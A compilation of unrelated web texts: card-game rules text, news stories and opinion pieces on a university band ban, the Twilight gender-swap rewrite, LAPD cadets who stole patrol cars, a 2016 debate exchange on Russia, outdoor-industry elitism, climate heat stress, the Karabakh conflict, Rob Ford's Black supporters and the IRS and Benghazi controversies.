3 damage to each creature.  Green Take Down Sorcery Choose one — • Take Down deals 4 damage to target creature with flying. • Take Down deals 1 damage to each creature with flying.  Nature's Way Sorcery Target creature you control gains vigilance and trample until end of turn. It deals damage equal to its power to target creature you don't control.  Hunt the Weak Sorcery Put a +1/+1 counter on target creature you control. Then that creature fights target creature you don't control. (Each deals damage equal to its power to the other.)  Multi-Color Unlicensed Disintegration Instant Destroy target creature. If you control an artifact, Unlicensed Disintegration deals 3 damage to that creature's controller.
-The Queen's Bands cheer at the 2009 Vanier Cup (Queen's University photo)  Carleton University, with a football playoff spot at stake, is silencing one of Canadian university sport's longest-standing traditions on Saturday. .  Not that the some 80 members of the Queen's University Bands are being silent about being barred from bringing instruments to Saturday's Queen's Golden Gaels-Carleton Ravens clash in Ottawa. As per Carleton's request, they will leave the flutes, clarinets, saxophones, trumpets, trombones, French horns, sousaphones, and drums at home in Kingston. Instead, they will have another noisemaker that is permissible under Ontario University Athletics rules.  Scroll to continue with content Ad  "Our solution that we've been given, basically, is that we are bringing vuvuzelas," said Bridget Rusk, a highland dancer who is also the Bands' finance manager, referring to the notorious noisemakers that assailed eardrums worldwide during the 2010 FIFA World Cup. "We'll be very noisy, so I hope that Carleton is happy that they asked for no instruments.  "Anyone in that stadium can bring vuvuzelas, so we're going to bring them too," the third-year geography student added. "And the athletic department at Queen's is providing the vuvuzelas."  "We have pretty great lung capacity," added fellow highland dancer Laura Stemp, the Bands' operation manager.  On Tuesday, after receiving confirmation for a purchase of 80 tickets in the 4,000-seat stadium, the Bands received a friendly reminder that they would not be allowed to perform.  Story continues  The Bands — pluralized since it encompasses a colour guard, brass band, pipe band, drum corps, highland dancers, cheerleaders and a mascot, Boohoo the bear — have played at Queen's home and away football games since 1905. The organization is older than the Grey Cup. It's generally accepted among fellow Canadian football-playing schools that when the Gaels come to town, the Bands come too.  Queen's retaliatory move also includes offering a vuvuzela to any fan with a ticket.  'Keep all the home-field advantage that we can'  Carleton relaunced football in 2013 and can secure an OUA playoff berth by beating the 2-5 Gaels, who are out of playoff contention and are playing for pride. It is also trying to incorporate its own fledgling pep band, which is fundraising to buy instruments, into its gameday presentation.  The Bands say they have filed a complaint to the OUA, but it appears a century-old tradition has been benched by a second-year team with post-seasoon dreams.  "The Queen's band has been around for a really long time; our band was a little bit concerned about them coming and we wanted to make sure that our band got an opportunity," said Shannon Chinn, Carleton's manager of interuniversity sport, adding that Ravens use a 'compressed' gameday script that skips having two media timeouts in each quarter.  "They even have a hard time getting in, because of the rain we've had at a couple games and with the instruments they happen to have. So we've had a challenge getting our band into a game to date this year. They played out front a couple times and played at the Panda Game [which was held off-campus].  "Our program is on a bit of surprising upswing right now and this is an important game for us," Chinn added. "We want to keep all of the home-field advantage that we can. We had some concerns with the size – they have 80 people in their band, when we're on offence and whatnot. So our request was that we keep our home-field advantage. We spend a lot of money on our DJ and our game-day experience that we're trying to establish here."  Rusk said there has "never been an issue about us bringing our instruments" when the Bands have followed the Gaels to other OUA stadiums and they have followed rules about when to be quiet. Their performances at both Guelph and McMaster earlier this season coincided with those universities' homecoming games. Guelph beat Queen's 66-0 that Saturday, by the way.  Hence being taken aback.  "I was a bit surprised when I got an e-mail saying 'no instruments for our band,' " said Ed Charbonneau, Queen's drum major. “I had a short conversation with them regarding whether they were actually serious about this. Essentially, it boiled down to, they were very serious.  "They said it was best for our university to leave all of our instruments at home, due to the fact... well, they cited a number of reasons. The first being that their coaches that had personally requested that we not bring instruments. Other reasons that they cited was that their own university band is rather inexperienced and young and they didn't want to, I suppose, overshadow them."  Chinn cited her experience working with the CFL's Saskatchewan Roughriders, noting that its Gainer the Gopher mascot was once barred from a crucial late-season game in Calgary.  "There were many times I wasn't allowed to bring our cheerleaders," she said. "We'd gone to Winnipeg many times for the bounce-back game after the Labour Day Classic. But there were times when it there was a big game down the line where there was a lot at stake and they didn't want the visiting team to have that little bit of an advantage of getting some fans onside and getting momentum going.  "Like I said, our band is really brand-new and we're just figuring out how to get them into our game day. Our timing of the entertainement part is shorter because we run a compressed script [with no mid-quarter media timeouts]."  Chinn maintained the move was not driven by Ravens coach Steve Sumarah and his staff.  "We collaborate as a department, all together," she said.  (Speaking of collaboration in the OUA, the Bands and the Western Mustangs cheer team performed together in 2008. So anything is possible.)  Carleton and Queen's did not play during the former's first season back in 2013.  Over the years, the Bands have followed the Gaels across Canada from Halifax to Saskatoon, even performing during national semifinal games that had much higher stakes than Saturday's game. That's an exception to the rule in Canada, and they believe a rule was flouted.  "I don't think they're really within their rights to do this, it's really confusing," said Stemp, a fourth-year student who will be performing at her final football game on Saturday. "If you look at the OUA's strategic plan for this year, they've specifically emphasized that they're looking for exposure, visibility and attendance at games. And this is 80 people who are happily planning to attend and pay for tickets, bring a lot of supporters to the game whether or not they're for Carleton.  "If the OUA is looking for visibility and exposure, one way to get it is to allow us to attend and perform."  Neate Sager is a writer for Yahoo! Canada Sports. Follow him on Twitter @neatebuzzthenet.
-I’m not going to belabor this discussion; this topic is being debated all over social media and blogs today and I have just a few simple points I’m going to target and then call it good.  If you haven’t heard, Author of the Twilight Saga, Stephanie Meyer, has released (or will be releasing? I’m not sure) her rewrite of the books with genders swapped: Edward is now Edythe and Bella is now Beau.  Heads are rolling, to say the least.  From what I understand, Meyer’s rewrite was inspired by criticisms that Bella is an insecure, submissive character – she wants to prove that wrong. I actually find that fascinating because I think we sometimes unknowingly project our perceptions of gender roles onto characters based on the exact biases we’re trying to fight; it will be interesting to see if Meyer can bring this to light.  Now I’m not going to debate her motivation for this rewrite, except to say that if you think she’s completely money-focused you’ve never actually watched an interview with her; and if you think she doesn’t care about money you’re probably a tad idealistic. Yes, it’s about the money, and yes it’s about the writing, the art, and the curiosity.  The big question for me is this: is this a brilliant artistic and gender-identity literary exploration or is it a stupid attempt at sucking as much life as possible out of a successful franchise?  My background: I loved the Twilight books and saw all the movies, but I’ve never been a major Stephanie Meyer fan. I’m a bit critical of her writing ability, TBH, and I tend to like more deep and gritty explorations of characters. That said, the storyline of Twilight, I believe, VERY intriguing. I’m a bigger fan of the Fifty Shades of Grey version of the “I want to kill someone I love” concept simply because I think it’s far more layered and nuanced and dives deep into trauma psychology which I find fascinating, but Stephanie Meyer gets a lot of credit for building the first widely-appealing and jaw-dropping iteration of this storyline.  And now, she’s taking it to a new level. And I’ve officially become a fan.  I think her rewrite is huge. If you think it’s stupid and money-mongerong, consider this: it can be difficult to tell a story from the viewpoint of your opposite gender (think Grey by E.L. James). Consider now, telling the exact same story, but rather than just telling Edward’s side, tell Edward’s side as if he were a female and Bella were a male. This is not fucking easy, folks!!!  But that’s not the only reason I’m supportive of this idea – there’s lots of literary exercises that are difficult. I’m supportive simply because this approach is COMPLETELY FUCKING NEW. I know, you can complain all day that it’s the same goddamn story, but tell me, what author has ever done this before? Who has ever rewritten their story (the exact same story) with the genders switched? What are the implications on our perception of gender and gender stereotypes? This could be huge! Now, it could suck too. It could completely reinforce everything society already believes and be a complete failure. But until I read it, I’m willing to give Meyer my applause for at least taking on such a formidable task. Because who does this?? No one does, that’s who. And that’s how history is made.  And if you don’t find that convincing, let’s just consider the reaction she’s getting from her rewrite. The first three posts I saw on the subject were raving mad people who think this is the stupidest thing they’ve ever heard of. I still have yet to see someone say something positive about it.  And that’s when I knew: this might be the move that turns me into a fan.  Advertisements
-Three teen police cadets are in custody on suspicion of having stolen LAPD black-and-white patrol vehicles and they may have also impersonated police officers, Chief Charlie Beck said Thursday.  Investigators realized two cruisers were missing about 5 p.m. Wednesday, and immediately focused their suspicions on a 16-year-old female cadet assigned to 77th Street Division, Beck said.  At 9:30 p.m., the two missing vehicles were located, being driven in tandem within the station’s patrol area. The drivers refused to pull over for police, Beck said.  A chase began, with the vehicles ultimately going different directions. Both vehicles crashed and the occupants were taken into custody – the two drivers and a passenger.  One of the stolen vehicles crashed into an unrelated driver, Beck said.  Beck revealed Thursday that those in custody were all cadets, ages 15, 16, and 17. Their names are not being released because they’re juveniles.  They were booked on suspicion of charges related to the theft of the vehicles and “other property.”  During an inventory of the 1,800 black-and-whites owned by the Los Angeles Police Department, one more vehicle was discovered missing, the chief said. That was soon tied to the cadet suspects, and interviews with them led to the discovery of the vehicles near 76th Street and Central Avenue.  The cadets may have impersonated police officers, Beck said, asking for the public’s help.  “We would like anybody that has information about that kind of activity being conducting by very young-appearing male and female partners to call the Los Angeles Police Department,” Beck said.  Such incidents might have occurred in the south or central parts of L.A. or areas to the west, such as Inglewood, he said.  No police firearms were missing, Beck said, but investigators recovered two LAPD Tasers, two police radios and an expired bullet-resistant training vest, which was being worn by one cadet.  The cadets were familiar with tracking systems and were able to sign the vehicles out of an automated vehicle inventory system, logging in as a vacationing sergeant, Beck said.  “The cadets were sophisticated enough to sign these cars out … not in their own names, but in the names of police officers who had a right and a responsibility to use these cars,” Beck said. “They gamed that system.”  It’s unclear how long they had the vehicles, but one may have been out for two weeks, Beck said.  “We do daily inventories of equipment. It obviously didn’t work in this case,” the chief said.  However, a watch commander did notice a vehicle missing and came across a video showing a “young-appearing female” fueling up at an LAPD gas pump, Beck said.  There are more than 2,300 active cadets, many of whom come from “difficult” neighborhoods and are seeking mentorship and increased opportunity, the chief said. The cadet program will be completely reviewed, as will equipment management systems.  “We’re very proud of our cadet program and I don’t want the actions of these three individuals to reflect negatively on the other 2,300,” Beck said.  He said the investigation is in its preliminary stages and many interviews still need to be conducted.  Please enable Javascript to watch this video  Please enable Javascript to watch this video
-Donald Trump once again refused to condemn Russian President Vladimir Putin in the final presidential debate – saying Putin has 'no respect' for his rival, Hillary Clinton.  An angry debate had some of its harshest and most rapid-fire charges yet between the two on the same stage when Wallace asked about Russia, a strategic rival to the United States.  Hacking that the U.S. government says Russia has been behind has roiled the campaign, exposing awkward emails with the release of thousands of messages by Clinton campaign chair John Podesta in recent days.  Trump once again refused to criticize Russian President Vladimir Putin – who he said wasn't his 'best friend.'  Scroll down for video  Who's the puppeteer: Trump faced accusations that he was Vladimir Putin's puppet -which he rejected, saying he was not the Kremlin overlord's 'best friend'  Puppet too? Trump accused Clinton of being the plaything of her donors  'I don't know Putin. He said nice things about me. If we got along well, that would be good,' Trump said.  Trump, who has previously said Putin is a stronger leader than President Obama, said, 'He has no respect for her, he has no respect for our president, and I'll tell you what, we're in very serious trouble.'  He continued: 'Putin, from everything I see has no respect for this person,' driving home the point.  'Well that's because he'd rather have a puppet as president of the United States,' Clinton countered.  A supporter of hers, former CIA deputy director Michael Morell, has said Trump may be an 'unwitting agent' of the Russian Federation, citing a series of campaign ties and policy positions.  'You're the puppet!' shot back Trump.  Clinton countered that Trump was willing to 'spout the Putin line' and implement his policy 'wish list' in Syria and other countries.  'You continue to get help from him because he has a very clear favorite in this race,' Clinton said.  Clinton then pivoted to the repeated hacks on Democrats, including her campaign chair and on the Democratic Party.  'This is such an unprecedented situation,' Clinton continued.  Attack: The exchange on Russia began in a discussion of immigration, veered to Wikileaks and went on to cover hacking  'Hillary, you have no idea,' Trump interjected.  'She doesn't like Putin because Putin has outsmarted her at every step of the way,' Trump said.  Trump at one point in the campaign invited Russia to hack Clinton's emails, but said he was being sarcastic. During the debate he brought up some of the emails, which have been dumped on WikiLeaks.  'John Podesta said some horrible things about you, and boy was he right,' Trump said.  Wallace asked Trump point blank whether he would condemn Russian hacking – and Trump did, though in language that was vague.  'By Russia or anybody else,' Trump responded – keeping alive the possibility that someone else was behind the hacking. 'Of course I condone,' he said – leaving out a direct object in his sentence instead of saying he condoned Russian hacking.  Later in the debate, Trump responded to Clinton's charge that he put NATO allies at risk with past comments that he might not jump to defend those who are owing in their dues to defend the alliance.
-Time and again I run into this word in the work I do as an advocate for open space in Duluth, Minnesota: gentrification.  Nearly every time I’ve heard it, it’s been used to describe the revitalization and restoration of communities and how such restoration is pushing out the lower and middle income folks to the benefit of those with more money. Increasingly, though, this same term can be applied to the outdoor culture.  In our case, maybe it should be called “bro-ification.”  Bro-ification describes the disconnect between how outdoor recreation activities are marketed and portrayed in the media–particularly sports like skiing, climbing, and off-road cycling–and the reality of who actually does those sports, and where.  ADVERTISEMENT  I’ve observed how the outdoor industry and the media have portrayed getting outside for nearly my entire life, and what used to be a very “volkssport,” inclusive, hippy-like identity has transformed into a super-elitist and entitled one. The destinations presented in the media are generally so unattainable by most people that they might as well be on the moon–and don’t even bother going if you’re not wearing expensive, high-tech apparel and using modern, high-priced gear. Exotic and expensive are the norm.  Meanwhile, nearly everywhere here in the United States, we have incredible public lands that can deliver experiences on par with those in far-away locations that cost a fortune to get to. And you can walk out your door and have those experiences every day.  I have been a party to this bro-ification in the jobs I’ve held, the images I have created, and in promoting the places I worked. But I have to admit that even though I am a lifelong off-road cyclist, nordic skier, and backcountry wanderer, even I am intimidated by some of the people, images, places, and marketing campaigns thrust upon us today.  We are finally at the extreme edge of the bro-ification of outdoor recreation. The public images of the outdoor enthusiast, our playgrounds, and our experiences are those the entitled and elite. And that sense that outdoor adventure belongs to the wealthy and well-connected is pushing aside the common participant.  ADVERTISEMENT  Who cares, right? The answer is, we all should. We need everyone to keep our outdoor playgrounds safe and accessible–people of diversity, at-risk youth, urbanites. When even the most mundane piece of equipment is marketed through expensive-to-get-to environments with a smiling, suffering-to-live-the-dream Caucasian person, the message is that these pursuits are not for everyone. Finding adventure outdoors is only for the jetset–for the young, white and rich. The places you need to go are beyond your reach.  Okay, I’m a white guy, born and bred into these activities. But even as part of the establishment, I can see this is a problem. My bet is that the young Latino, black, or native American kid hears this messaging even louder.  The more I dig into the access work I’m doing here in Duluth, Minnesota, the less I can deny the impact of this messaging on my ability to get things done. Bro-ification is cited as a reason for cities to not get involved in access projects that would pull more people across the community into outdoor recreation. These sports, I’m told, are not for the diverse populations we have in Duluth; rather, they offer value only to an elite, wealthy segment of the population. Meanwhile, on the ground, we are actually getting more millennials interested in the outdoors and in the quality of life it brings, and the demographics of that generation tend to be more diverse, more family-oriented, and include more female participation. These are the folks of the future and the people that communities like Duluth need to survive.  Outdoor recreation has traditionally been about being accessible and simple–about getting outside to enjoy nature. Sports like skiing and cycling were created because of a need for transportation and were enjoyed by a broad spectrum of people regardless of economic status. Climbing and camping started out as simple ways for folks to enjoy the outdoors, to commune with nature out the backdoor. Simple pleasures.  These activities could be a strong tool to help cities that are down on their knees economically to stand up and take advantage of long neglected open and natural spaces, to make the lives of their citizens healthier and happier.  Equity is the new buzz word on the leadership circuit. I believe in this concept and I believe that it will drive how future leaders work in their communities going forward. If we as outdoor advocates are positioned as elitist, our work will not be seen as creating equity at all; it will be seen as the opposite, as creating divides. I have to push back constantly on what my staff sees in the media and takes for granted as how users will act or look on the trails or outdoors.  I remember a lot of jeans and flannel shirts when I was nordic skiing as a kid, and I remember the sports I grew up with had both horrible athletes and amazing ones. The primary reason for doing them was literally to just have fun. It’s been an interesting arc to witness: outdoor sports apparel went from tattered, overly loved clothing used in passionate pursuit of a simple adventure to high-tech, high-priced modernity that–if you were to believe magazines and catalogs–are best paired with billion dollar ranches and restored wooden yachts and kitted-out Mercedes Sprinter vans in Jackson Hole or Aspen or other places that are unaffordable for the majority of the population.  We have arrived at this point not only in our industry but also in some of our conservation and advocacy groups. I recently sat through a presentation given by the group called Shift. I generally agree with the conversation Shift is trying to pursue, and support the main idea of their group. However the way it was presented and the space it addresses offers very little for the grass-roots outdoor advocate in the trenches. I found myself cringing not only at the language used in the presentation but also at the imagery and the lack of actual direct action Shift was taking on its own vision. I saw nothing but privileged people living the dream and talking a good game about changing society through base jumping in Yosemite. If I were to have made a similar case in a city council meeting here in Duluth, I would have been laughed out of the room. Unfortunately, Shift is not the only group making this mistake.  It’s time that the industry and the media to pull back from the current marketing trends and begin spreading a message of inclusion and finding unmitigated fun in our own backyards–not near-death experiences in remote locations and exotic resort towns. Otherwise, we risk alienating the very people we need to grow our numbers and keep our natural playground open–regardless whether they’re wilderness areas or a more urban-oriented park.  For outdoor brands, think of the opportunity. The industry has stepped so far beyond what’s real, the brand that embraces inclusion is going to differentiate itself. The question is, in an arms race that rewards helicopters and ends-of-the-earth travel, can anyone even remember what “real” is?  ADVENTURE JOURNAL QUARTERLY IS IN STOCK! GET IT NOW–$15!!  Readers are raving about the inaugural issue of Adventure Journal! Order today and get it via priority mail for arrival within one to three days!  132 pages of stoke, inspiration, deep thoughts, and real adventure. See what the buzz is all about.
-International supply chains are increasingly at risk from production losses due to heat stress, study says  By Megan Rowling  BARCELONA, June 10 (Thomson Reuters Foundation) - The globalisation of the world's economy this century has made it far more vulnerable to the impacts of extreme weather, including heat stress on workers, scientists said on Friday.  A study by the Potsdam Institute for Climate Impact Research and Columbia University showed production losses caused by high temperatures, predicted to rise further with climate change, now spread more easily from one place to another as they ripple through global supply chains.  In just a decade, the susceptibility of the world's economic network to heat stress - which causes workers to tire quickly among other physical effects - has doubled, researchers found.  This is because production has become more interlinked since the turn of the century, said co-author Anders Levermann, a top climate change expert at the Potsdam Institute.  The first decade studied, from 1991 to 2001, did not suffer increased production losses, in contrast to the decade from 2001 to 2011, he noted.  "Weather extremes are not really factored into the thinking of a lot of industries, and in particular not weather extremes far away," he told the Thomson Reuters Foundation. "But our study shows it's really one world with respect to climate impacts."  The researchers looked at the effects of small daily disruptions to production from extreme temperatures leading to heat stress among workers in construction, agriculture and other economic sectors.  They covered economic flows between 26 industry sectors and final demand in 186 countries, running computer simulations of heat-stress consequences to find out more about how production losses are propagated along supply chains.  "It is really a global phenomenon - whichever sector... is hit by weather extremes is going to have the same response, the same problem," said Levermann.  The researchers said the findings, published in the journal Science Advances, pointed to the need for societies and businesses to adapt to more intense weather extremes.  For example, they could make better use of insurance against production failures or expand their pool of suppliers, Levermann noted. But for that to happen, there must be greater awareness of climate change and its effects on the global economy, he added.  FLOOD LINK TO CLIMATE CHANGE  Work is underway, meanwhile, to strengthen evidence on the links between extreme weather events and climate change.  This week, scientists collaborating on the World Weather Attribution (WWA) programme concluded that human-caused climate change played an important role in the heavy rains that pounded parts of France in late May and early June, triggering flooding and destruction.  The probability of three-day extreme rainfall in this season in France has increased by at least 40 percent because of global warming, they said.  For the Seine river basin, it is likely to happen roughly 80 percent more often than in the past, and for the Loire around 90 percent, they added.  But there were no conclusive results from a similar analysis of late-spring thunderstorms in Germany, they noted.  In parts of central and northeastern France, historic flooding of rivers led to widespread power outages and forced Parisian landmarks like the Louvre art museum to close. The deluges are reported to have killed at least 18 people in Germany, France, Romania and Belgium, the WWA team said.  "These latest lethal floods in Europe illustrate the rising impact of extreme weather events, including (on) developed and well-prepared countries," said Maarten van Aalst, director of the Red Cross Red Crescent Climate Centre.  "Sadly we saw that even advanced infrastructure and water management cannot prevent some areas and neighbourhoods being overwhelmed and people sometimes dying."  (Reporting by Megan Rowling; editing by Ros Russell. Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's rights, trafficking, corruption and climate change. Visit http://news.trust.org)  Our Standards: The Thomson Reuters Trust Principles.
-An Armenian man holds a placard at a rally in Yerevan | Karen Minasyan/AFP via Getty Images Foreign Affairs Why we need to contain the Caucasus crisis Armenia and Azerbaijan are two or three steps away from a Bosnia-style conflict that could be deleterious for the wider region.  Four days of violence in April unfroze the generation-old Nagorno-Karabakh conflict. A new truce was signed to halt the recent outbreak of violence in the Caucasus between Armenians and Azerbaijanis. But it is fragile and has already been broken. As Armenian President Serzh Sargsyan acknowledged, there could be more fighting “at any moment.”  It is no exaggeration to say that Armenia and Azerbaijan are two or three steps away from a Bosnia-style conflict that could be deleterious for the wider region. What can be done to stop that happening?  * * *  The Karabakh conflict is as old as it is intractable. From 1991-94 Armenians and Azerbaijanis fought a hot war over the disputed Nagorno-Karabakh region. The territory was part of Soviet Azerbaijan but its population was three-quarters Armenian. The Armenian side prevailed, leaving 20,000 dead and displacing more than 1 million.  A ceasefire was signed in 1994. Armenians were given de facto possession not just of Nagorno-Karabakh itself, but (in whole, or in part) of seven Azerbaijani regions unrelated to the original dispute. The Armenians called the territory a protective buffer zone.  The 1994 ceasefire was supposed to be a prelude to the peace agreement that never came. The international community’s eyes and ears in the region consist of just six monitors from the Organization for Security and Co-operation in Europe.  The ceasefire has been under heavy strain for a couple of years now. Azerbaijan has been building up its store of heavy weapons and both sides have engaged in rhetoric more extreme than at the height of the conflict in the 1990s.  The ceasefire finally cracked on April 2. The most likely cause was an Azerbaijani attempt to test the Armenians’ defenses and force them to negotiate from a weaker position. The Azerbaijani military regained some slivers of lost territory — and an awful lot of lost pride. But the human price was high. Officially, several dozen people were killed. Experts put the death toll nearer to 200, including many civilians.  The four-day war stirred up long-seated anger and sharpened mutual insecurities. Azerbaijanis still feel humiliated by defeats suffered more than 20 years ago. There was a patriotic upsurge of euphoria throughout the country, a useful distraction from the socioeconomic crisis that has seen its currency, the manat, devalued twice in the last year. The temptation — and, worryingly, the public pressure — to try this kind offensive again is enormous.  Armenia saw a similar surge of nationalist emotion. Caught flat-footed by fighting, the country witnessed a sobering few days. Young Armenians volunteered to join the front line.  Given the massive arsenals of weaponry both sides now possess, new fighting could easily escalate into an all-out conflict far more destructive than the 1991-94 war. Baku and Yerevan could invoke their military assistance treaties with Turkey and Russia respectively. Neither wants to get involved, but would be under big pressure to honor their commitments in the region.  Other regional neighbors are also alarmed. Georgia, in particular, could become caught in the crosshairs. Armenians and Azerbaijanis constitute Georgia’s two biggest minorities. The BP-run Baku-Tbilisi-Ceyhan oil pipeline that runs through the country could also become a target.  A security vacuum has opened up around Karabakh. It will only be filled by serious peace talks — or by more fighting.  The formal peace process has been close to moribund for five years. Neither President Ilham Aliyev nor President Sargsyan has said anything constructive or conciliatory. The conflict’s three mediators and co-chairs of the OSCE’s “Minsk Group” — France, Russia and the United States — have had to limit themselves to shuttle diplomacy. Their modest ideas are routinely rejected.  The three co-chairs have said they want to launch “comprehensive negotiations.” These could take the form of a peace conference chaired by the three foreign ministers.  It’s an important step, but the two presidents want very different things. The Azerbaijani side wants new negotiations and to use its military force as leverage. The Armenian side is digging in harder — they are reluctant to agree to anything that might look like submission to Azerbaijani military pressure and have demanded “security guarantees.”  * * *  Can this crisis be contained before it escalates? We first need to challenge one common preconception: the idea that Russia can fill that security vacuum and manage the conflict.  Russia’s top officials did swing into action and negotiate a verbal ceasefire on April 5. But Russia has done little since then. Its problem is that it has simultaneously mediated and destabilized the conflict.  The Russians have been selling arms to both sides. An estimated 85 percent of Azerbaijan’s weaponry comes from Russia, while Russia has a military alliance with Armenia, sealed by a new treaty signed in 2010.  This balancing game means that Russia is unable to set the agenda in Karabakh. Both Baku and Yerevan are skeptical of Russia’s intentions. In Armenia especially, the new backlash against Russia is significant. Because Russia has no military presence on the ground and no monopoly on the peace process, both countries can block plans for a Russian peacekeeping force that would reassert its influence in the region.  So the common belief that, if things get worse “Russia can handle it,” is misplaced. This poses a challenge to the United States and France. Neither has done enough to offer a balanced international plan.  Unless progress is made now, more fighting is likely to break out after the international spectacle of Azerbaijan’s much-coveted Formula 1 race in Baku ends in late June. We can only hope that the prospect of more intense fighting in the Caucasus, and its dangerous implications for the region, will concentrate minds on solving a conflict that has been ignored for too long.  Thomas de Waal is a senior associate at Carnegie Europe in Brussels.
-× Expand Desmond Cole, right, with Ford supporter William. Photo by Jonathan Goldsbie  I set out for Ford Fest on July 25, the latest in a series of public picnics held by Mayor Rob Ford, with a mission: to engage black Ford supporters, and only them, in conversation about our mayor's consistent expressions of anti-black racism.  Many of the hundreds gathered at Thomson Memorial Park in Scarborough were people of African and Caribbean descent.  But of the 30 or so I spoke with, very few were willing (or able) to problematize Ford's use of the word "nigger," his description of blacks as "fucking minorities" or his claim that no one has helped black people more than him.  A middle-aged woman named Sheila, who attended with her husband, Roy, bristles at my questions.  "He's not racist," she said definitively. "The people don't like him, so they would say anything about him."  I asked if those who reported Ford's language had simply made it up. "Yes, they would do that," Sheila quickly responded.  A young man named Mark and his friend Steve were similarly eager to explain away Ford's bigotry.  Said Mark, "I use the same words and I'm black, so how am I going to knock him for it?"  When I asked if white people have licence to call blacks "nigger," he said, "It depends on what context they use it in."  "If there's anger behind it, then there's a problem," Steve added. Does he believe Ford's "fucking minorities" comment betrayed anger? "That's his opinion," he said. "And technically speaking, that's what we're considered as: minorities."  Mark added, "Maybe he meant minorities in an economic sense. I'm sure everybody else in politics is using even more derogatory words. It's just not publicized."  Kevin, who came across the city from Etobicoke with his wife and young children, said he's supported Ford since his early days on city council. His son clung to his leg and listened as I asked about Ford's discriminatory remarks.  "I'm a teacher, and I've heard a lot of other teachers use the N-word at school," he offered. "I say it's more ignorance... a lack of knowledge. Rob Ford probably doesn't know the meaning of the word. People use it as a friendly term."  Kevin added that the media are out to get Ford "because he opposes gay marriage," a stance the teacher said he appreciates.  The unwillingness among Ford's black supporters to confront his racism seems extremely nuanced and strategic. As black Canadians, they've experienced racism first-hand and know how badly it stings. When these folks deny, obscure or ignore Ford's racism, they're delivering a grim message: all politicians look down on black people, but at least Ford will occasionally grace them with the privilege of his presence.  Everyone who spoke with me suggested that our politicians and the system they serve are generally corrupt and specifically racist or indifferent toward black people.  Such low expectations of public service make Ford a hero for offering his black supporters a hamburger and a little attention. A woman who gave her name as Flavour told me passionately, "I've been living in Scarborough for many years, and this is the only mayor I've ever gotten to shake hands with."  This sort of desperation and insecurity would be comic if it weren't so consistent among the blacks I interviewed.  Ford may not be perfect (I heard this at least a dozen times), he may even be racist sometimes, but he performs token positive gestures toward blacks that others won't, and that's good enough for many.  Those I spoke with sounded resigned to some racism in politics. For them, Ford's divisive brand represents an awkward but acceptable compromise. Despite the depth of disillusionment among many black people about our status in this city and country, it is naïve to assume that we are universally intolerant of anti-black racism.  Black Torontonians are, we cannot forget, facing a disproportionately grim set of social and economic circumstances: as children we're more likely to be kicked out or suspended from school; as adolescents we're the targets for non-investigative stops by police; as adults we're less likely to find good jobs. Many blacks identify with Ford as victim, as someone whose behaviour is over-scrutinized, and they jump on his bandwagon.  The consequences of black disillusionment played themselves out in a powerful way at Ford Fest. While I conducted interviews, a group of LGBTQ protesters arrived at the picnic. A large and angry throng of Ford supporters, including many black people, taunted the queer protesters and chanted at them to "go home."  This is civic engagement Ford-style, and the mayor has employed the same rallying cry against black people in different circumstances. Only two years ago, he used a shooting in Scarborough to propose his race-baiting suggestion that the city deport people convicted of gun crimes. This is how Ford repays the unwavering loyalty of his black supporters, but many of them are too caught up in his game of patronage to fight back.  I did meet a couple of dissenters. A man named Andrew said he was loyal to Ford and repeated the opinion that his bigotry has been taken out of context. But when I asked black people who support Ford should still condemn his language, he gave a reply I hadn't heard all evening.  "Definitely [they] should. Because there is a racial boundary. We came from very far, and some wounds never heal. So because of who he is, it's not right even for him to say it, even though I support him."  A woman named Josine spoke with me just after her daughter had her photo taken with Rob's brother Doug, who'd been working the crowd for hours.  Her response to the Ford brothers' repeated comments that no one has helped black people more than the mayor? Josine wrinkled her nose and said, "They haven't done anything for our community... but I don't know anything."  news@nowtoronto.com | @nowtoronto
-References to Watergate, impeachment, even Richard Nixon, are being tossed around these days as if they were analogous to the current so-called scandals. But the furors over the IRS , Benghazi, and the Justice Department’s sweeping investigation of the Associated Press, don’t begin to rise—or sink—to that level. The wise and pithy Matt Dowd, a former Republican operative, said recently, “We rush to scandal before we settle on stupidity.” Washington just loves scandals; they’re ever so much more exciting than the daily grind of legislation—if there is any—and the tit-for-tat between the president and the congressional Republicans over the budget was becoming tedious. Faux outrage is a specialty here.  Obama, anxious not to be seen defending everybody’s punching bag, the IRS , quickly ceded ground on what could be perfectly defensible actions. He may come to regret taking what seemed a trigger-happy decision to order a criminal investigation of the Internal Revenue Service, a sure way to drag people who may have—may have—simply made errors of judgment through a long and expensive legal process that is likely also to keep the agency from examining the validity of the application for tax-free status of any group with powerful allies. If, following the Citizens United decision, there is a sudden doubling of the number of new organizations with similar names and missions, and these organizations apply for tax exempt status—and also the right to hide the names of their donors—might it not make sense to use a search engine to find them? This what the just-fired sacrificial acting IRS commissioner, testifying before a congressional committee on Friday, termed a “grouping” of the cases that had already been almost universally condemned as “targeting,” which he insisted it wasn’t. But this simple explanation wouldn’t do, didn’t warrant the term “outrage” routinely conferred on the IRS case. Could it just possibly be that the Tea Party and their allies see a great benefit in making a stink over this? How better to freeze the IRS examinations of these groups?  According to press reports none of the Tea Party groups have as yet been denied 501(c)(4) status, though this has happened to some liberal organizations. The real problem is that the process takes a long time and the questions are excessive, some even ridiculous. Pinning the whole thing on Obama—pinning all that they can of these “scandals” on him—gladdens most Republicans’ hearts. I say “most,” because such prominent conservative commentators as Charles Krauthammer and Bill Kristol have urged the Republicans to proceed with more caution, fearing that as often happens they will overdo it. And Republican congressional leaders have begun to worry that the troops may go too far, inviting the sort of backlash that smacked Newt Gingrich and his fellow revolutionaries in 1998, following their reckless impeachment of Bill Clinton, losing them seats and costing Gingrich his Speakership. It’s quite possible that some lower-rank government employees did some stupid things, and it’s clear that the agency had poor leadership (under a Bush-appointed director) but there is no evidence that any of this was directly or indirectly on the president’s orders.  Meanwhile, new information about what happened in Benghazi keeps coming in, changing that story. The Talmudic scholarship that’s been applied to the administration’s talking points—what the various agencies urged that a representative of the administration should say on the Sunday talk shows—has led to the conclusion that that mushy and somewhat misleading statement was the typical product of a typical inter-agency struggle over blame-shifting. The omission of some material from an original draft—on the not unreasonable ground that the terrorist groups that perpetrated the attack shouldn’t be put on notice that the US knew who they were—hardly ranks as a cover-up. Was the administration confused or was it anxious to avoid the acknowledgement that the US consulate in Benghazi was attacked by terrorists from the start, by saying that they came in later? The administration later released all of the emails among the agencies to Congress but few members bothered to go to the briefing or read the material. And as it turned out, the White House didn’t play a hand in doctoring what the talking points would say.  In order to stoke the conspiracy theories, Republican congressional aides leaked false versions of the interagency emails and ABC ran with them without checking. Republicans focused the controversy on Hillary Clinton rather than David Petraeus, the CIA 